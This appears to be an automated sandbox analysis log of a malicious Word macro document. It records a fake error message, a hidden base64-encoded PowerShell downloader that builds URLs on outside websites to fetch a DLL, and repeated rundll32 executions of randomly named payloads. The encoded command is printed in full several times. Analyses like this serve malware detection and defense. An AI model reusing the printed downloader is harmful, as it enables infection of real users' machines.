Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAA
Source: unknown	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Moldomm\fjtiec.rgj',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hvqnocqonseaz\zdvhyvhbysxx.hcy',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gayqjpva\ysvakhm.scw',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwqavfq.ceg',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Imqrvegnw\xbxcngor.sdx',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazvxmnbpe.sxx',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mtqaaznoxelwda\uiusvmdbvqkdi.arh',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Plxgoxjb\fxypucw.ewq',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxqxfmoi.jrk',Control_RunDLL
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAd			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Moldomm\fjtiec.rgj',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hvqnocqonseaz\zdvhyvhbysxx.hcy',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gayqjpva\ysvakhm.scw',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwqavfq.ceg',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Imqrvegnw\xbxcngor.sdx',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazvxmnbpe.sxx',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mtqaaznoxelwda\uiusvmdbvqkdi.arh',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Plxgoxjb\fxypucw.ewq',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxqxfmoi.jrk',Control_RunDLL

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2109077452.0000000010042000.00000002.00020000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2101309042.0000000002940000.00000002.00000001.sdmp

Document has a 'subject' value indicative of goodware

Source: Archivo 3012 122020 276701.doc

Initial sample: OLE summary subject = RAM Switchable Creative synergies Massachusetts Refined Cotton Hat Cambridgeshire viral indigo digital Refined Fresh Chair Cuba e-enable plug-and-play

Data Obfuscation:

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Source: Archivo 3012 122020 276701.doc	Stream path 'Macros/VBA/Zm6erye0ms_u' : High number of GOTO operations
Source: VBA code instrumentation	OLE, VBA macro, High number of GOTO operations: Module Zm6erye0ms_u			Name: Zm6erye0ms_u

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAA

